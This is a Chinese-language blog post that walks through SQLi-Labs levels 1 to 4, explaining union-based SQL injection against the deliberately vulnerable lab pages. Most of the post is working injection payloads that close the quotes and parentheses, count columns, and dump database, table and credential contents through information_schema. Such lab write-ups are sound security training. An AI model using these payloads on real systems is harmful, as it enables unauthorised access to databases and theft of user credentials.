SQLi-Labs:Less1-Less4(回显注入,union联合查询)

Tips

在第一关开始之前,我们补充一点小知识,在MySQL数据库中,内置information_schema数据库结构,其中我们必须熟知3个表

  • schemata—存储数据库名的表(字段:schema_name)
  • tables—存储数据库以及数据库中的表名(字段:table_schema,table_name)
  • columns—存储数据库、表以及表中的字段(字段:table_schema,table_name,column_name)

查库:select schema_name from information_schema.schemata;

 

 

 查表:select table_name from information_schema.tables where table_schema='表名';

 

查列:select column_name from information_schema.columns where table_name='用户名';  

 

查字段:select user_id,user,password from dvwa.users;

 

注:每一个关卡开始之前,都要在其目录下的index.php增加两句代码,如下(一定要有,才会有SQL语句输出)


 

Less 1

查看是否有注入

当输入id=1时,页面正常显示(输入2或3或4...会显示其他用户名及密码)

 

 

 使用单引号包裹',即在1后面加个',出现了报错,所以我们发现存在注入漏洞(并且是字符型的)

 Limit 0,1 其中第一位是从第几行开始,比如0代表从第一行开始,而第二位的1代表的就是显示1行数据

 

 

法一:

SELECT * FROM users WHERE id='1' or 1=1 -- ' LIMIT 0,1

其中--+ 或者-- 或者#都是sqli的注释语句,其后面的语句就不再执行,因为前面知道了是字符型注入,所以我们利用这个注释掉后面的单引号,就不用再考虑后面单引号的闭合问题,MySQL数据库的--后面一定要加个空格

A and B     AB 都为true则返回值为true

A or B      AB 其中一个为true则返回值为true;

 

 

 Order by,以第几列进行排序,若超过列数则会报错,这个可以帮助我们知道有多少列。

可以看到3不报错

 

 

 4报错,则只有三列 

 

 

 

 判断页面有几个回显位置,使用union select 1,2,3 语句,因为上面查出来是3列,所以是1,2,3,当然4,5,6也可以,这是不定的,只要我们知道显示出来的位置就可以

 

 

 

 但是我们发现并没有回显成功,这是为什么呢,我们以dvwa的users表为例,因为limit只取第一行,而我们注入的1,2,3在最后一行,所以没有回显成功

 

所以我们现在需要union前的语句不执行,加入and 1=2,回显成功

 

 

 

 或者不加id=2,直接前面的id=-3这种不存在的值也可以

 

 

 使用limit0,1、limit1,1、 limit2,1获得MySQL数据库里库的名字(第一个库、第二个库、第三个库),以下是语句,可以试一下,password位置显示的应该就是库的名字

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+

 法二:(更快速)

使用group_concat函数(将所有数据进行拼接显示在一行,原来的每一行之间自动用逗号隔开,适用于只有一个回显位置或者回显位置很少或者需要回显的很多)

查询数据库名称有什么:?id=-3' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

 

 

 

查询security数据库中表名有哪些:?id=-3' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

 

 

 

 查询security数据库中users表中字段有哪些:?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name='users' --+

 

 

 查询 security数据库中users表中username字段内容:?id=-3' union select 1,group_concat(username),3 from security.users --+

 

 

注:使用concat_ws(‘:’,A,B)可以既显示数据库名称,也可以显示数据库密码,中间用:隔开。

?id=-3' union select 1,group_concat(concat_ws(:,username,password)),3 from security.users --+可以查看所有数据名称以及密码,但是我们发现没有成功,是因为:需要转换为16进制表示,即0x3a,当然,这里用其他的分隔符也可以,只要转换成16进制就可以

 

 

 使用16进制表示:,发现成功

 


 

Less 2

我们首先输入?id=1,页面正常

 

 

 

 输入?id=1'出现错误,说明存在注入漏洞,并且是数字型注入。

 

 

 

 与第一关的区别就是这关是数字型注入,所以与第一关法二操作全部一样,只是把第一关的?id=-3'的单引号去掉,查列数、判断回显位置、查库名、查表名、查字段,最后查字段内容,即可完成全部注入

查列数:?id=3 order by 3 --+                 ?id=3 order by 4 --+

判断回显位置:?id=-3 union select 1,2,3 --+

查库名:?id=-3 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查表名:?id=-3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' --+

查字段名:?id=-3 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='member' --+

查字段内容:?id=-3 union select 1,group_concat(concat(0x3a,id,username,sex)),3 from pikachu.member --+


 

Less 3

日常先输入?id=1,页面正常

 

 

 如果显示不出sql语句如何判断,还是先加单引号进行测试,看报错信息

SELECT * FROM users WHERE id=('1'') LIMIT 0,1

 

 

 

 原语句是id=('1'),所以我们加了一个单引号会造成单引号没有闭合,所以在输入的时候要给数字加')和左边原来的单引号、括号闭合,右单引号和括号用--+注释掉,也就是?id=1')--+

 

 

与第一关的区别就是这关id部分输入的是?id=1') --+,所以与第一关法二操作全部一样,只是在第一关的?id=-3'后面加) --+,查列数、判断回显位置、查库名、查表名、查字段,最后查字段内容,即可完成全部注入

查列数:?id=3') order by 3 --+                 ?id=3') order by 4 --+

判断回显位置:?id=-3') union select 1,2,3 --+

查库名:?id=-3') union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查表名:?id=-3') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' --+

查字段名:?id=-3') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='member' --+

查字段内容:?id=-3') union select 1,group_concat(concat(0x3a,id,username,sex)),3 from pikachu.member --+


 

Lsss 4

输入?id=1,页面正常(这找到每一关的php文件增加语句显示太有用了,要不然怎么算也算不到是双引号和括号的组合QAQ)

 

 

 从语句来看,这一关卡将第三关的单引号换成双引号,所以我们只需要把第三关的?id=3') --+改为?id=3") --+即可

 

 

 查列数:?id=3") order by 3 --+                 ?id=3") order by 4 --+

判断回显位置:?id=-3") union select 1,2,3 --+

查库名:?id=-3") union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查表名:?id=-3") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' --+

查字段名:?id=-3") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='member' --+

查字段内容:?id=-3") union select 1,group_concat(concat(0x3a,id,username,sex)),3 from pikachu.member --+


 

posted @ 2020-02-21 13:58  ApricityJ  阅读(326)  评论(0编辑  收藏  举报